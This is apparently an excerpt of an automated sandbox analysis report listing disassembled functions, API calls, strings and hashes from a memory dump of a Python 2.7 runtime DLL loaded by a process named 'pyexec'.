\x%02x, xrefs: 6C170106
", xrefs: 6C170096

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$FromStringmemchr$Err_ObjectResizeSize
String ID: "$\x%02x$string is too large to make repr
API String ID: 2120926971-3051697336
Opcode ID: a5076e59955907be998188f6875df234796108ebccaed9ba02e000e8f13081b7
Instruction ID: e7d1e12f189b9ee6c3ad02e11f1e519cff66b53e17054b0cc821ef7259de3a99
Opcode Fuzzy Hash: a5076e59955907be998188f6875df234796108ebccaed9ba02e000e8f13081b7
Instruction Fuzzy Hash: BA4137315083C19BD7208E28D84479BBBE4AF56368F144A6DECD947B42D37AD44ACBF2

Function 6C12F520 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,?), ref: 6C12F544
PyCallable_Check.PYTHON27(00000000), ref: 6C12F557

Part of subcall function 6C167170: PyObject_GetAttrString.PYTHON27(6C12F42C,__call__,?,6C12F42C,00000000), ref: 6C16718B
Part of subcall function 6C167170: PyErr_Clear.PYTHON27(6C12F42C,00000000), ref: 6C167197

_Py_VaBuildValue_SizeT.PYTHON27(?,?), ref: 6C12F585

Part of subcall function 6C12AFD0: PyErr_Format.PYTHON27(6C2E48B0,00000000,?,?,6C12B31B,sequence index must be integer, not '%.200s',?,00000000,?,?,6C12EF3A), ref: 6C12AFE5

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F635

Strings

null argument to internal routine, xrefs: 6C12F62F
P&0l, xrefs: 6C12F5E2, 6C12F5EB, 6C12F5F2
attribute of type '%.200s' is not callable, xrefs: 6C12F563
GC object already tracked, xrefs: 6C12F5C8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$AttrObject_$BuildCallable_CheckClearFormatSizeValue_
String ID: GC object already tracked$P&0l$attribute of type '%.200s' is not callable$null argument to internal routine
API String ID: 3997184170-3054338093
Opcode ID: 75fd39409ee4b22a19ec870f77b4646272b5a461ef4d2664d60d14ce44fe6e20
Instruction ID: affdedb5ac8f76b5650ef86e7b0e375daee26f5a8587d7af0b1d3b86e9020b36
Opcode Fuzzy Hash: 75fd39409ee4b22a19ec870f77b4646272b5a461ef4d2664d60d14ce44fe6e20
Instruction Fuzzy Hash: 82313CB97002259FDB10CF69DC41A9733A8EB56324F200769EC3A87B91E739D896C7D1

Function 6C0AFD10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,s:strxfrm,?), ref: 6C0AFD21
malloc.MSVCR90 ref: 6C0AFD59
PyErr_NoMemory.PYTHON27 ref: 6C0AFD68

Strings

s:strxfrm, xrefs: 6C0AFD1B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Err_MemoryParseTuplemalloc
String ID: s:strxfrm
API String ID: 4029166403-969976757
Opcode ID: 22ed553d3758322d1952284ae0572f48f21f1a0daf3bdf66365ef89e97cf91c6
Instruction ID: 84362e502784f7f9d701d2f72c5b5c5c628da08babf260a96aabadb8778cc212
Opcode Fuzzy Hash: 22ed553d3758322d1952284ae0572f48f21f1a0daf3bdf66365ef89e97cf91c6
Instruction Fuzzy Hash: AB11EB32B04115678B1197E56C44ADE77FDCF8726DB140375FD08D7B01E6268E1A43E2

Function 6C1CEC70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E
PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs non-NULL value,00000000,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CECCB
PyModule_GetDict.PYTHON27(?,00000000,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CECDB
PyModule_GetName.PYTHON27(?,6C30FF60), ref: 6C1CECE8
PyErr_Format.PYTHON27(6C2E65C8,module '%s' has no __dict__,00000000,?,6C30FF60), ref: 6C1CECF9

Strings

PyModule_AddObject() needs non-NULL value, xrefs: 6C1CECC5
PyModule_AddObject() needs module as first arg, xrefs: 6C1CEC98
module '%s' has no __dict__, xrefs: 6C1CECF3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Module_String$DictFormatNameSubtypeType_
String ID: PyModule_AddObject() needs module as first arg$PyModule_AddObject() needs non-NULL value$module '%s' has no __dict__
API String ID: 1633787680-2614671564
Opcode ID: 88312c3280af110738a1af3380ed0ece929f0757f3426961112865e7f1e79e7a
Instruction ID: 7c7206b745a4acbbab81d01348d839be6ba1253a6197ca9892cf99603006c2a9
Opcode Fuzzy Hash: 88312c3280af110738a1af3380ed0ece929f0757f3426961112865e7f1e79e7a
Instruction Fuzzy Hash: E411067AB0020567C600D66DBC45AAB336C9FA137C7144725FC28C7F81E729E55686D6

Function 6C1E1420 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

__iob_func.MSVCR90 ref: 6C1E1440
fprintf.MSVCR90 ref: 6C1E1446
__iob_func.MSVCR90 ref: 6C1E144C
fflush.MSVCR90 ref: 6C1E1452
OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
OutputDebugStringW.KERNEL32 ref: 6C1E149C
OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
abort.MSVCR90 ref: 6C1E14A5

Strings

Fatal Python error: %s, xrefs: 6C1E143B
Fatal Python error: , xrefs: 6C1E1494

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$abortfflushfprintf
String ID: Fatal Python error: $Fatal Python error: %s
API String ID: 3980557677-2081719472
Opcode ID: 18f99556fa40b0e6e7096f5c13fed656d5e45404a7727341039e92bb72819f3b
Instruction ID: 60e1d8eb2a5bbc52d781a0369d6de167523e22e33a6fd549a63de1e315068e28
Opcode Fuzzy Hash: 18f99556fa40b0e6e7096f5c13fed656d5e45404a7727341039e92bb72819f3b
Instruction Fuzzy Hash: 8F010432A0011EAB8B009BB9CC5889F7FBCEF4E3983140855E806E7300EE30E904CBE0

Function 6C14C8E0 Relevance: 16.6, APIs: 5, Strings: 6, Instructions: 135stringCOMMON

Download Yara Rule

APIs

strchr.MSVCR90 ref: 6C14C90A
strchr.MSVCR90 ref: 6C14C939
strchr.MSVCR90 ref: 6C14C963
strncmp.MSVCR90 ref: 6C14C9BC
strncmp.MSVCR90 ref: 6C14C9FE

Strings

rwa, xrefs: 6C14C905
btcnSR, xrefs: 6C14C95E, 6C14C96E
+TD, xrefs: 6C14C934, 6C14C942
!*l, xrefs: 6C14C9B5
ccs, xrefs: 6C14C9A1
!*l, xrefs: 6C14C9AE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: strchr$strncmp
String ID: +TD$btcnSR$ccs$rwa$!*l$!*l
API String ID: 2197385779-999419156
Opcode ID: 281a44fd26f6464fd32d3732564817e832377b7a92f9ac5f5e7faa77cc2f07cf
Instruction ID: 12f6e6a28a73cba9c205cc648db1b34abb4865b615557da8ea674d67627e3a64
Opcode Fuzzy Hash: 281a44fd26f6464fd32d3732564817e832377b7a92f9ac5f5e7faa77cc2f07cf
Instruction Fuzzy Hash: 5441A0519043567AF7106ABA8C35369FFF49FD6388F28C16ECDC6D2D42F920454B8390

Function 6C140880 Relevance: 16.6, APIs: 11, Instructions: 101COMMON

Download Yara Rule

APIs

_finite.MSVCR90 ref: 6C14089A
_finite.MSVCR90 ref: 6C1408AC
_hypot.MSVCR90 ref: 6C1408C5
_finite.MSVCR90 ref: 6C1408D5
_errno.MSVCR90 ref: 6C1408DE
_finite.MSVCR90 ref: 6C1408FD
_isnan.MSVCR90 ref: 6C140915
_errno.MSVCR90 ref: 6C140927
_finite.MSVCR90 ref: 6C140946
_isnan.MSVCR90 ref: 6C140958
_errno.MSVCR90 ref: 6C14096A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: _finite$_errno$_isnan$_hypot
String ID:
API String ID: 2539433571-0
Opcode ID: 0702e5d91849a988074e4262a2f9039c23a82d72a05b065ae3a3e8e4951bf9d9
Instruction ID: 2a4c773f94442b58666a7150845f48635d7452b52698d92848d0e38d46b3d6de
Opcode Fuzzy Hash: 0702e5d91849a988074e4262a2f9039c23a82d72a05b065ae3a3e8e4951bf9d9
Instruction Fuzzy Hash: B8317E31A04609C7DB003F6AFC0919EBFB4EF49256F4605A9ECC881150EF328578C7A6

Function 6C0AD160 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

PyErr_SetObject.PYTHON27(6C2E4978,00000000,?,FFFFFFFD,?,?), ref: 6C0AD193
PyString_FromStringAndSize.PYTHON27(?,FFFFFFFE,?,FFFFFFFD,?,?), ref: 6C0AD285
PyObject_CallFunctionObjArgs.PYTHON27(?,00000000,00000000,FFFFFFFD,?,?), ref: 6C0AD2AE

Strings

2.l, xrefs: 6C0AD2A5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ArgsCallErr_FromFunctionObjectObject_SizeStringString_
String ID: 2.l
API String ID: 1041195005-1135809751
Opcode ID: 764810ed33ec8b250a8c9c5400e0f8fe40724d5bf3b6b8713e5e18b05d153ad0
Instruction ID: 59436aecf249d99002acf9f796771e6c16b155bcf7b4209b25bd3594f064a5e4
Opcode Fuzzy Hash: 764810ed33ec8b250a8c9c5400e0f8fe40724d5bf3b6b8713e5e18b05d153ad0
Instruction Fuzzy Hash: 61516772A043445BDB218EE4D8817DAB3EAE75535CFA402A9DE8487B83D325DD8BC3C1

Function 6C0ACE60 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 203COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0ACEA7
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0ACEE5

Strings

P&0l, xrefs: 6C0ACF00, 6C0ACF08, 6C0ACF10
Expecting object, xrefs: 6C0ACF4A
%s:%d: bad argument to internal function, xrefs: 6C0AD076
..\Objects\listobject.c, xrefs: 6C0AD071
Expecting ',' delimiter, xrefs: 6C0AD0B4
GC object already tracked, xrefs: 6C0ACEE0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$Expecting ',' delimiter$Expecting object$GC object already tracked$P&0l
API String ID: 2067638752-1040938592
Opcode ID: 061dad34d7572dd92b3efdbdb6adbcdede04b0531d8fb6f9552d4db08e4807a4
Instruction ID: 69ee3c5b7dd6352574eeffc8023736edcacb527ad79212e7da484be53ebb0d9d
Opcode Fuzzy Hash: 061dad34d7572dd92b3efdbdb6adbcdede04b0531d8fb6f9552d4db08e4807a4
Instruction Fuzzy Hash: F361D6715003119BC710EFDDC440B9AB3E1EB89328B61865AEC6487B56D736D887C7C2

Function 6C0ACC00 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 200COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0ACC40
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0ACC7E

Strings

P&0l, xrefs: 6C0ACC99, 6C0ACCA2, 6C0ACCA9
Expecting object, xrefs: 6C0ACCD2
%s:%d: bad argument to internal function, xrefs: 6C0ACDE3
Expecting , delimiter, xrefs: 6C0ACE1E
..\Objects\listobject.c, xrefs: 6C0ACDDE
GC object already tracked, xrefs: 6C0ACC79

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$Expecting , delimiter$Expecting object$GC object already tracked$P&0l
API String ID: 2067638752-2941327344
Opcode ID: be6e1c319ba2da99a9cd803520f5ea045808a3c9c1aa040b04915bfed8f85673
Instruction ID: 80bfa3635bfead158fb5ff25d5b6961e2d28ccc3c983ae9710a0b9b15bb8a962
Opcode Fuzzy Hash: be6e1c319ba2da99a9cd803520f5ea045808a3c9c1aa040b04915bfed8f85673
Instruction Fuzzy Hash: CB6148716046155BCB20EFDCD480799B7E1AB46328F62471AD8784BB82D337D887CBC2

Function 6C15D640 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,000000F4), ref: 6C15D67A
PyInt_AsLong.PYTHON27(6C1571C0), ref: 6C15D69A

Strings

..\Objects\longobject.c, xrefs: 6C15D66F
nb_int should return int object, xrefs: 6C15D70D
an integer is required, xrefs: 6C15D72B
%s:%d: bad argument to internal function, xrefs: 6C15D674

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatInt_Long
String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$an integer is required$nb_int should return int object
API String ID: 651860925-140860544
Opcode ID: f8eebf97b0a8fe80d8e197a5fe0a9da1505c4b81681919b68766868203a07898
Instruction ID: 6519160a4a83ccf9b14302c521ca803884d8a49e6bcbd9029cf0e9532d43d0a8
Opcode Fuzzy Hash: f8eebf97b0a8fe80d8e197a5fe0a9da1505c4b81681919b68766868203a07898
Instruction Fuzzy Hash: 495115B66046018FD610EE69DA4075AB3A4EB9133CF65472AED78C7BC0EB31D826C781

Function 6C0ABE19 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 164COMMON

Download Yara Rule

Strings

", xrefs: 6C0ABCF7
", xrefs: 6C0ABD6D
Invalid \uXXXX escape, xrefs: 6C0ABFA8
Invalid \escape, xrefs: 6C0ABDEF
\, xrefs: 6C0ABD1A
\, xrefs: 6C0ABCFD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: "$"$Invalid \escape$Invalid \uXXXX escape$\$\
API String ID: 0-2658592163
Opcode ID: 3e58a1d55b86e3a2b6941715d67bc2eee219a2b7d64c423e1b580d083d523123
Instruction ID: 72967b3d2382fc8f0d8c1a1e4f8c466015e2879be738550424641eb1ebbb40c8
Opcode Fuzzy Hash: 3e58a1d55b86e3a2b6941715d67bc2eee219a2b7d64c423e1b580d083d523123
Instruction Fuzzy Hash: 1B51057190461D8BC710CEE8D8407AA73E1EF85328F590729EDA547A92E731D803CBD2

Function 6C169C30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(850C2444,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169C5B
PyType_IsSubtype.PYTHON27(850C2444,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169C71
PyDict_Size.PYTHON27(6C13F060,?,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169C91
_PyDict_Next.PYTHON27(6C13F060,?,?,?,?,?,?,?,?,6C2DF440), ref: 6C169CE0
_PyDict_Next.PYTHON27(6C13F060,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2DF440), ref: 6C169D20

Part of subcall function 6C168F50: PyErr_NoMemory.PYTHON27(6C13F060,00000000,?,?,?,?,?,?,?,?,?,?,?,6C16978E,00000000,850C2444), ref: 6C168F70

PyObject_GetIter.PYTHON27(6C13F060,?,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169D34
PyIter_Next.PYTHON27(00000000,?,?,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169D47
PyIter_Next.PYTHON27(00000000,?,?,?,?,?,6C2DF440,?,?,?,?,?,?,6C13F060,00000000), ref: 6C169D75

Strings

(}.l, xrefs: 6C169C82

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Next$Dict_$Iter_SubtypeType_$Err_IterMemoryObject_Size
String ID: (}.l
API String ID: 1672250434-1474856849
Opcode ID: 93dc06e239c99a0d3c8eb4978e7d77d32862fe379e454922dbb985c0ea2efadf
Instruction ID: 108bb75d2ac9f50f52fae9a51f8bca5df0a4d458a02e26c0b4a5e3c63ae375e0
Opcode Fuzzy Hash: 93dc06e239c99a0d3c8eb4978e7d77d32862fe379e454922dbb985c0ea2efadf
Instruction Fuzzy Hash: DF41F376A0010557CB00CB6ADC819EFB3B8AF91239F154379DC2997F81E734E92A87D2

Function 6C15A940 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

_PyObject_GC_NewVar.PYTHON27(?,00000002,?,?,?,6C15AC07,?,?,00000000,?,?,?,6C15C01A,?,?,?), ref: 6C15A971
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C15A996
PyObject_Call.PYTHON27(?,00000000,00000000), ref: 6C15A9D6
PyErr_Format.PYTHON27(6C2E48B0,comparison function must return int, not %.200s,?), ref: 6C15AA11
PyInt_AsLong.PYTHON27(00000000), ref: 6C15AA34

Strings

P&0l, xrefs: 6C15A9AC, 6C15A9B8, 6C15A9C0
comparison function must return int, not %.200s, xrefs: 6C15AA0B
P&0l, xrefs: 6C15A9A5
GC object already tracked, xrefs: 6C15A991

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
